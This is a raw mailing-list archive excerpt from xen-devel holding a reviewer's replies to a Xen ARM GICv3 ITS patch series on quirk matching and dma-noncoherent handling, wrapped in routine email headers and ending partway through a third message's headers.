	SqF96A3L2of7DPpHP3vGjxJFg5NWHJZY3WzbGsJtBdk6peWrw7dnEjpsrTrFEsb7pdDaIJ4L/+Jj4Egiu6+0INKeD87O4U5O6EEUanRijRfF8XuFe7rZEmiLTzkvFidev1Hdf8F84OCdLGjQVLq4w+ksZxRXneHCFU8qmB2hr3RjeDOs5FMYajaQXZEwEUwigrCIVGTYzx/sJ27E4jmqaxJlyENPNkP/cw3f7+yp5Rs6WhfqszC1pMEZYio0M7pwdOO4cblCmZe7aFQL3lRHJnmXsrIHnGbMLCf3c0laCW79dSI4FbI1IxOBv0JPzsJohbU3KeQNcyUCLN5OZXvUO0b/1YCgSOH6zhFlGSaFtwMzSNSjo2HOu3bPSyVqkno+n/dfFqQKRgFuQacV9Nqzq0elw549DODLtXPWq+jeeu3Yy7bJK1JMfivX+x+0GvfucvJUJ5iZ0UAKB6Q9H+mK0FvazVK/pYjMW/Nzeckx2hQpRxaTwEmLewG5LnqbOi7AnceaKn8jRFiw1DmchUexY5V+xkt4W083zWv8z0K9q65hLSCrgYhVrFwxOuO6x8i5o4H1G4RpcPy5grA0WZjk2zorSLwaZXAO5SDEp9pjtGXRmSpBxsFRfWlkdXxh5noWxAQfyK4uFXVAzDkOib22zUczCQycaadywF1ezJ/YI4FOl+zkBDf/2MJep00NAk9VjcM7bkIHl1Lm4i5HL/oMzw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(23010399003)(376014)(1800799024)(82310400026)(56012099006)(11063799006)(4143699003)(6133799003)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	4vbZpg9WToCH7RF2U8wGJ5rqHwxIil+ZmlNPJnzwlBkbJEzIFxD6Nb+wlGxD2QtNSr3rIuU9AmjVwgU1hbhrDT9jMRQ3IIq3gag8S7pr56wAWRXPYx9gB1XKwmb/vnvINDRQ05fW87JwwaN6+TfNE1ACA55HqER/HY9cHNljCW7gb+mB6dVw2JNIfMHtyBww/xIE8QTxV0m+metRy3fwj8oEz4nAavahG1Zyechb40h7Q+u67OpyS8kzSVeCLg9a2l/Sg7gzok7pnK6FhajXBQctvPAZg7hflGujAaCApr40x2ioU5EPLVyBXqu+1FuG/XhVya/1F4m56sY/hsctmdH37Jgy0ZITGyQbnt58+8nydme22Sa5662B4H4ocS8mDE9wD/vSqZ1UwSGHK+cws4FSLMHQxFLhacxv1D3AAibOGwjVeeJNaH3827L4wgrj
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 31 Jul 2026 08:34:14.1713
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 1636a5ea-cdb2-4fcf-c70c-08deeede80b6
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF00001CE8.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MN0PR12MB6002
X-purgate-ID: tlsNG-33051d/1785486859-6C6DE4E9-20D5AB5A/0/0
X-purgate-type: clean
X-purgate-size: 5861



On 28-May-26 02:25, Mykola Kvach wrote:
> From: Mykola Kvach <mykola_kvach@epam.com>
> 
> ITS quirks are currently matched only by IIDR and mask fields stored in
> each table entry. That is too coarse for integrations where the same GIC
> IP block can appear in several platforms but the workaround is only valid
> for a subset of boards.
> 
> Replace the fixed IIDR fields with a generic match(hw_its, data) callback
> and an opaque data pointer. Add an IIDR matcher as a reusable building
> block and use it from the R-Car Gen4 matcher after checking the Renesas
> machine compatibles. The R-Car Gen4 platform refinement is DT-only;
> ACPI-discovered ITSes do not match it.
> 
> Keep first-match semantics explicit. Assert that non-sentinel entries
> provide a matcher and that IIDR matching receives match data, but keep
> runtime guards so a malformed table entry does not become a NULL function
> call or NULL data dereference in non-debug builds. The matched entry still
> supplies separate ITS and LPI flags; this patch only changes how the entry
> is selected.
> 
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
> ---
> Changes in v2:
> - Replace v1's optional platform callback plus fixed IIDR/mask fields with
>   a single generic match(hw_its, data) selector.
> - Add a reusable IIDR matcher and use it after the R-Car Gen4
>   machine-compatible checks.
> - Document that the R-Car Gen4 quirk remains DT-only.
> - Keep the split ITS and host LPI quirk scopes when applying the matched
>   entry.
> - Document first-match ordering in the lookup path and guard against
>   entries without a match callback or IIDR match data.
> ---
>  xen/arch/arm/gic-v3-its.c | 67 +++++++++++++++++++++++++++++++--------
>  1 file changed, 53 insertions(+), 14 deletions(-)
> 
> diff --git a/xen/arch/arm/gic-v3-its.c b/xen/arch/arm/gic-v3-its.c
> index dc48a84789..e055914763 100644
> --- a/xen/arch/arm/gic-v3-its.c
> +++ b/xen/arch/arm/gic-v3-its.c
> @@ -53,8 +53,8 @@ struct its_device {
>  
>  struct its_quirk {
>      const char *desc;
> -    uint32_t iidr;
> -    uint32_t mask;
> +    bool (*match)(const struct host_its *hw_its, const void *data);
> +    const void *data;
>      uint32_t its_flags;
>      /*
>       * lpi_flags are ORed into the global host LPI policy and must only
> @@ -64,11 +64,48 @@ struct its_quirk {
>      uint32_t lpi_flags;
>  };
>  
> +struct its_quirk_match_iidr {
> +    uint32_t iidr;
> +    uint32_t mask;
> +};
> +
> +static bool __init gicv3_its_match_iidr(const struct host_its *hw_its,
> +                                        const void *data)
> +{
> +    const struct its_quirk_match_iidr *match;
> +    uint32_t iidr;
> +
> +    ASSERT(data);
> +
> +    match = data;
> +    iidr = readl_relaxed(hw_its->its_base + GITS_IIDR);
> +
> +    return (iidr & match->mask) == match->iidr;
The commit message says you keep a runtime guard so malformed table data
does not become a NULL data dereference in non-debug builds, but there is
no such guard - ASSERT() compiles out and match->mask is then read from
NULL.

> +}
> +
> +static bool __init gicv3_its_match_quirk_gen4(const struct host_its *hw_its,
> +                                              const void *data)
> +{
> +    if ( !hw_its->dt_node )
> +        return false;
> +
> +    if ( !dt_machine_is_compatible("renesas,r8a779f0") &&
> +         !dt_machine_is_compatible("renesas,r8a779g0") )
Given that IIDR 0x0201743b is not Renesas-specific as you mention in the cover
letter, this is a behavior changed and should be mentioned in the commit msg
(cover letter is not in git).

> +        return false;
> +
> +    return gicv3_its_match_iidr(hw_its, data);
> +}
> +
> +static const struct its_quirk_match_iidr rcar_gen4_iidr = {
__initconst

> +    .iidr = 0x0201743b,
> +    .mask = 0xffffffffU,
> +};
> +
>  static const struct its_quirk its_quirks[] = {
__initconstrel

>      {
> -        .desc	= "R-Car Gen4",
> -        .iidr	= 0x0201743b,
> -        .mask	= 0xffffffffU,
> +        .desc = "R-Car Gen4",
> +        .match = gicv3_its_match_quirk_gen4,
> +        .data = &rcar_gen4_iidr,
>          .its_flags = GICV3_QUIRK_MEM_NC_NS | GICV3_QUIRK_MEM_32BIT_ADDR,
>          .lpi_flags = GICV3_QUIRK_MEM_NC_NS | GICV3_QUIRK_MEM_32BIT_ADDR,
>      },
> @@ -77,18 +114,21 @@ static const struct its_quirk its_quirks[] = {
>      }
>  };
>  
> -static const struct its_quirk *__init gicv3_its_find_quirk(uint32_t iidr)
> +static const struct its_quirk *__init gicv3_its_find_quirk(
> +    const struct host_its *hw_its)
>  {
> -    const struct its_quirk *quirks = its_quirks;
> +    const struct its_quirk *quirk;
>  
>      /*
> -     * The first matching quirk wins. More specific quirks must be listed
> -     * before broader IIDR-only entries.
> +     * The first matching quirk wins. Entries that match a specific platform
> +     * must be listed before broader IIDR-only entries.
>       */
> -    for ( ; quirks->desc; quirks++ )
> +    for ( quirk = its_quirks; quirk->desc; quirk++ )
>      {
> -        if ( quirks->iidr == (quirks->mask & iidr) )
> -            return quirks;
> +        ASSERT(quirk->match);
> +
> +        if ( quirk->match && quirk->match(hw_its, quirk->data) )
> +            return quirk;
>      }
>  
>      return NULL;
> @@ -96,8 +136,7 @@ static const struct its_quirk *__init gicv3_its_find_quirk(uint32_t iidr)
>  
>  static void __init gicv3_its_collect_quirks(struct host_its *hw_its)
>  {
> -    uint32_t iidr = readl_relaxed(hw_its->its_base + GITS_IIDR);
> -    const struct its_quirk *quirk = gicv3_its_find_quirk(iidr);
> +    const struct its_quirk *quirk = gicv3_its_find_quirk(hw_its);
>  
>      if ( quirk )
>      {

~Michal



From xen-devel-bounces@lists.xenproject.org Fri Jul 31 08:40:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 08:40:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378887.1623911 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpimu-00051d-Qz; Fri, 31 Jul 2026 08:40:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378887.1623911; Fri, 31 Jul 2026 08:40:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpimu-00051W-OS; Fri, 31 Jul 2026 08:40:16 +0000
Received: by outflank-mailman (input) for mailman id 1378887;
 Fri, 31 Jul 2026 08:40:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wpims-00051Q-VB
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 08:40:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpimr-002Wrt-SI
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 10:40:13 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6c5f62-bab6-0a2a0a5309dd-0a2a4505c9fa-34
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:40:13 +0200
Received: from [52.101.48.68]
 (helo=MW6PR02CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a6c5f6b-4cb1-0a2a45050019-34653044827f-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 10:40:13 +0200
Received: from SJ0PR05CA0163.namprd05.prod.outlook.com (2603:10b6:a03:339::18)
 by IA0PR12MB8423.namprd12.prod.outlook.com (2603:10b6:208:3dc::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Fri, 31 Jul
 2026 08:40:07 +0000
Received: from CO1PEPF000075EE.namprd03.prod.outlook.com
 (2603:10b6:a03:339:cafe::94) by SJ0PR05CA0163.outlook.office365.com
 (2603:10b6:a03:339::18) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Fri,
 31 Jul 2026 08:40:06 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 CO1PEPF000075EE.mail.protection.outlook.com (10.167.249.37) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.292.8 via Frontend Transport; Fri, 31 Jul 2026 08:40:06 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 31 Jul
 2026 03:40:01 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 31 Jul 2026 03:40:00 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=fuh8Ak8BJCwfiLIx2Vv4A9UXKroz2GCUc1UDvwnagGQFNTsVQ3s2fdDLP0QLALkQQgdsGlA3Bpj7dEfEm/yErmGK5Z1R4ZBNp+Qnkj04ADwNOZltvjjUuISMLidMzNEL1SGg3k6RcF2XMryr4hOd3B0ubG9gHQDOCk8KXipEk/T5drjg7hWGBa2Vf1ABoFJvIvp6YZgCAzSSbP1e7ZrFUCAABb5hz7dvMs+HWyNlL4tTe18j30fsir1bpdAoPO0nUwUOnkrXcjyhwVPV31shx0WlwpadiFvypgwqfeeepPVlHQcseywU1WARLoTjhpmy7rmf4uEPEQIDBsbypm6HIA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=850BLaAl8HIHcz6rQwACDgjxSTriiWSoRTuhKmWTpPI=;
 b=lfIDuZvyyUIW2VRYP5zhYdvRogRyQhZl2VPxCCHBLVfyMHj+BpxolQefhMCoR9BXXB0ouIBVPUHlLuThP19mRyzPicnF3HmSNtlpYP0uVjXsV+p/6+oNcbW6euAe4y/+OlyEni+a3K8bwyWPzCepFlspZoKqGLmFcIeHecmdLzAgvBrxdkzVE6kWsHMxFwtZ0xIW3b+Nncr5A9zXD6DPyFuXcm4LWUsvQom7aN4N8SyYInyVwx8kvN42ChPeDo8eLV0QtDAzAyCzgQROl6eeGlJKHaB/cC74pfVaST2Gdd8HwX8EbIXUj05s/Kpyt8pYqUZN4x1BhVTlB2BUGWf1GQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=gmail.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=850BLaAl8HIHcz6rQwACDgjxSTriiWSoRTuhKmWTpPI=;
 b=P+uISDBqBpKXCOffwuL97uegpC8oimi5kiq4gnqNowGIXKw6XiBI9DEpuYCRP2Ugmy0UeiQrKL068Z1ZAA57ELjhy/m/kOs6V7s1YTMi18An04kyy7X+58pX6JX06lNipC8I1FX2pxyAk7DWV2bULa5fDQKGyfCN92VlKJq3olY=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <af30caf6-b740-4c03-a429-d8e2f39ef4b3@amd.com>
Date: Fri, 31 Jul 2026 10:39:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 4/4] xen/arm: its: handle dma-noncoherent on GIC and
 ITS nodes
To: Mykola Kvach <xakep.amatop@gmail.com>, <xen-devel@lists.xenproject.org>
CC: Mykola Kvach <mykola_kvach@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Luca Fancellu <luca.fancellu@arm.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>
References: <cover.1779922874.git.mykola_kvach@epam.com>
 <43b0e8f6b25588ba1cfc22d367e5ed6b303a4978.1779922874.git.mykola_kvach@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <43b0e8f6b25588ba1cfc22d367e5ed6b303a4978.1779922874.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PEPF000075EE:EE_|IA0PR12MB8423:EE_
X-MS-Office365-Filtering-Correlation-Id: 96650e81-49bf-4ac3-c48a-08deeedf52a0
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|1800799024|376014|36860700016|82310400026|10067099003|5023799004|4143699003|11063799006|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	o3+ebPEZy7Sonq5awl0/MfP1X50MMlqMTJdaCICvykIvSTzSaiK4YyZtDneTi/oyq7KWt/cXCOaAN79o2EYc7p8rExttOzlqqtgsK4tBuNXKgdghdEpiKPOtbPKJ7m7+yTpOeDA68kKfF9ZVOf7nnJOnHGsr8GP8Cx5p0mz/662alhvWydtxcyqcSGg+EI5aTp/UifPNHB/8XVMfEKdFSuBy5Tw8vY6R+Dk8hARQHSVxELY3Elh/b8RZPXXPfJA/0aRyb/deJkffQ2FnY1Jfs0oKMrOGvCqv30Sy9VwKQAEV5YXDQnrTeeu4oEXle18Zl0Zd2Cp/WQyYGT9gMWpCNF+TkIiTa6UzZ6byS0HATe+zPA8uP9O8cC9p0lFLP4yQmMjm9IsjD14e+m1REUxT5IxgX5ty0/1lYyne5OEpOWYhk6nohkJKZFGPPJzl7nddnJiEjfBgWoILPF1+/TsrLkQK8jRcGj3TR5zhieexs5IjIa01u6GuxA4n2m9UzDmPbdM9LuYVxZJZzLD9zrvAgeqtkNgwDL4b/qYwrBb463qc1+xbi+yQKaFskb6rZypvp630emgs/Pac1Z6vzblym+M9lJ/hOn9+CPriRUsw+9Xt1J2P9vS6AFiyyyRmcjciCYHo2Te5UJnCTNDW0dg2gh1cbYUZC/aK0F2VLUlKHuhgkOzvD+325Eu5s5iDn1z5gscAXoyvCO+jlJtG8WTHGw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(376014)(36860700016)(82310400026)(10067099003)(5023799004)(4143699003)(11063799006)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	aJ1CijMy1GKR7iLZAVM9ob5PNL97B+NQiff1KafYRGO8+kDGAsT+dEb8YelC1cPisgmsMGhrZ29riHGz93GRhsJ0Q2m9JKlG2UJ8OJemXRlPcwiNpTbVfBP5tn401ERlZE1pG+ejBZCNX4jzrmTtRN+l5XHk76pk6YN01i7s4o9yvCPloIw3HdcDBvXw/UfMTA2fSvgeYuzV0r+4xXqYNWRK6YTpEyB+8ctWU26tiCbcw1inh1WcmAt6mB5lqN6bbK08v+vKBjiRvRMCEsmrTJ+2aYyye+mbQmASxzgFLn4cuhDfGOKoyL0WbRqtFp0t+mutHFDLYyVgo/9LzKCccyBrD/VxzD4q1wCMh3WhqF11wDiztJBjwq0RcFAZALoz+z4AoJ/w7kCH8srrmQbJb1huoPMOfyAAw0twtNTv++Ct4n8Bn1Ndx03LVVs01VQJ
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 31 Jul 2026 08:40:06.3271
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 96650e81-49bf-4ac3-c48a-08deeedf52a0
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CO1PEPF000075EE.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA0PR12MB8423
X-purgate-ID: tlsNG-c201ff/1785487213-F70B22A1-C318D03D/0/0
X-purgate-type: clean
X-purgate-size: 5570



On 28-May-26 02:25, Mykola Kvach wrote:
> From: Mykola Kvach <mykola_kvach@epam.com>
> 
> The DT dma-noncoherent property describes the bus coherency of the device
> represented by the node. On an ITS subnode, that is memory accessed by that
> ITS, so add GICV3_QUIRK_MEM_NC_NS to the corresponding host_its before
> programming GITS tables and allocating ITTs.
> 
> When the property is present on the top-level GIC node, it describes the
> Redistributor side of the LPI path. Collect it in
> gicv3_lpi_init_host_lpis() and apply it only to the host LPI policy used
> for GICR_PROPBASER and GICR_PENDBASER setup.
> 
> Do not inherit the property between parent and child nodes: ITS-node
> non-coherency does not change the global host LPI policy, and GIC-node
> non-coherency does not change per-ITS quirk_flags.
> 
> ACPI is left unchanged; this patch only consumes the DT dma-noncoherent
> property.
> 
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
> ---
> Changes in v2:
> - Split v1's dma-noncoherent handling into explicit ITS-node and GIC-node
>   scopes.
> - Apply an ITS subnode property only to the matching host_its quirk_flags.
> - Collect the top-level GIC property from gic-v3-lpi.c before host LPI
>   allocations use host_lpi_flags.
> ---
>  xen/arch/arm/gic-v3-its.c | 21 +++++++++++++++++++--
>  xen/arch/arm/gic-v3-lpi.c | 22 +++++++++++++++++++++-
>  2 files changed, 40 insertions(+), 3 deletions(-)
> 
> diff --git a/xen/arch/arm/gic-v3-its.c b/xen/arch/arm/gic-v3-its.c
> index e055914763..606b127487 100644
> --- a/xen/arch/arm/gic-v3-its.c
> +++ b/xen/arch/arm/gic-v3-its.c
> @@ -134,6 +134,21 @@ static const struct its_quirk *__init gicv3_its_find_quirk(
>      return NULL;
>  }
>  
> +static void __init gicv3_its_collect_fw_attrs(struct host_its *hw_its)
> +{
> +    /*
> +     * An ITS subnode property describes memory transactions made by that ITS.
> +     * Do not inherit it into the global host LPI/Redistributor policy.
> +     */
> +    if ( !hw_its->dt_node ||
> +         !dt_property_read_bool(hw_its->dt_node, "dma-noncoherent") )
> +        return;
> +
> +    hw_its->quirk_flags |= GICV3_QUIRK_MEM_NC_NS;
> +    printk("GICv3: ITS @%#"PRIpaddr" marked dma-noncoherent\n",
> +           hw_its->addr);
> +}
> +
>  static void __init gicv3_its_collect_quirks(struct host_its *hw_its)
>  {
>      const struct its_quirk *quirk = gicv3_its_find_quirk(hw_its);
> @@ -144,6 +159,8 @@ static void __init gicv3_its_collect_quirks(struct host_its *hw_its)
>          gicv3_lpi_update_host_flags(quirk->lpi_flags);
>          printk("GICv3: enabling workaround for ITS: %s\n", quirk->desc);
>      }
> +
> +    gicv3_its_collect_fw_attrs(hw_its);
>  }
>  
>  uint64_t gicv3_mem_get_cacheability(uint32_t flags)
> @@ -578,7 +595,7 @@ static int gicv3_disable_its(struct host_its *hw_its)
>      return -ETIMEDOUT;
>  }
>  
> -static int gicv3_its_init_single_its(struct host_its *hw_its)
> +static int __init gicv3_its_init_single_its(struct host_its *hw_its)
These __init additions have nothing to do with dma-noncoherent and
are not mentioned in the commit message. They belong with patch 2/4,
which is where the callees became __init.

>  {
>      uint64_t reg;
>      int i, ret;
> @@ -1221,7 +1238,7 @@ static void gicv3_its_acpi_init(void)
>  
>  #endif
>  
> -int gicv3_its_init(void)
> +int __init gicv3_its_init(void)
>  {
>      struct host_its *hw_its;
>      int ret;
> diff --git a/xen/arch/arm/gic-v3-lpi.c b/xen/arch/arm/gic-v3-lpi.c
> index 35f93e4756..c6f17b9b2d 100644
> --- a/xen/arch/arm/gic-v3-lpi.c
> +++ b/xen/arch/arm/gic-v3-lpi.c
> @@ -7,7 +7,9 @@
>   * Copyright (C) 2016,2017 - ARM Ltd
>   */
>  
> +#include <xen/acpi.h>
>  #include <xen/cpu.h>
> +#include <xen/device_tree.h>
>  #include <xen/lib.h>
>  #include <xen/mm.h>
>  #include <xen/param.h>
> @@ -101,6 +103,20 @@ void __init gicv3_lpi_update_host_flags(uint32_t flags)
>      host_lpi_flags |= flags;
>  }
>  
> +static void __init gicv3_lpi_collect_fw_attrs(void)
> +{
> +    /*
> +     * A top-level GIC node property describes the Redistributor side of the
> +     * LPI path. Do not inherit it into per-ITS policy.
> +     */
> +    if ( !acpi_disabled ||
> +         !dt_property_read_bool(dt_interrupt_controller, "dma-noncoherent") )
> +        return;
> +
> +    gicv3_lpi_update_host_flags(GICV3_QUIRK_MEM_NC_NS);
> +    printk("GICv3: GIC node marked dma-noncoherent for host LPI tables\n");
> +}
> +
>  static union host_lpi *gic_get_host_lpi(uint32_t plpi)
>  {
>      union host_lpi *block;
> @@ -442,7 +458,7 @@ integer_param("max_lpi_bits", max_lpi_bits);
>   * to the page with the actual "union host_lpi" entries. Our LPI limit
>   * avoids excessive memory usage.
>   */
> -int gicv3_lpi_init_host_lpis(unsigned int host_lpi_bits)
> +int __init gicv3_lpi_init_host_lpis(unsigned int host_lpi_bits)
>  {
>      unsigned int nr_lpi_ptrs;
>      int rc;
> @@ -450,6 +466,10 @@ int gicv3_lpi_init_host_lpis(unsigned int host_lpi_bits)
>      /* We rely on the data structure being atomically accessible. */
>      BUILD_BUG_ON(sizeof(union host_lpi) > sizeof(unsigned long));
>  
> +    gicv3_lpi_collect_fw_attrs();
> +    if ( host_lpi_flags )
> +        printk("GICv3: host LPI workaround flags: %#x\n", host_lpi_flags);
Every contributor to host_lpi_flags already prints its own line -
"enabling workaround for ITS: %s" from the quirk path. Please drop this one.

~Michal



From xen-devel-bounces@lists.xenproject.org Fri Jul 31 10:04:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 10:04:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378949.1623919 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpk62-0000Js-Ox; Fri, 31 Jul 2026 10:04:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378949.1623919; Fri, 31 Jul 2026 10:04:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpk62-0000Jl-MR; Fri, 31 Jul 2026 10:04:06 +0000
Received: by outflank-mailman (input) for mailman id 1378949;
 Fri, 31 Jul 2026 10:04:05 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wpk61-0000Jf-GI
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 10:04:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpk60-006E8r-LL
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 12:04:04 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a6c730f-2eae-0a2a0a5409dd-0a2a45028dfa-28
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 12:04:04 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a6c7313-6ca4-0a2a45020019-a06583098c8a-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 12:04:04 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTP id 375FC832E6A3;
 Fri, 31 Jul 2026 06:02:17 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
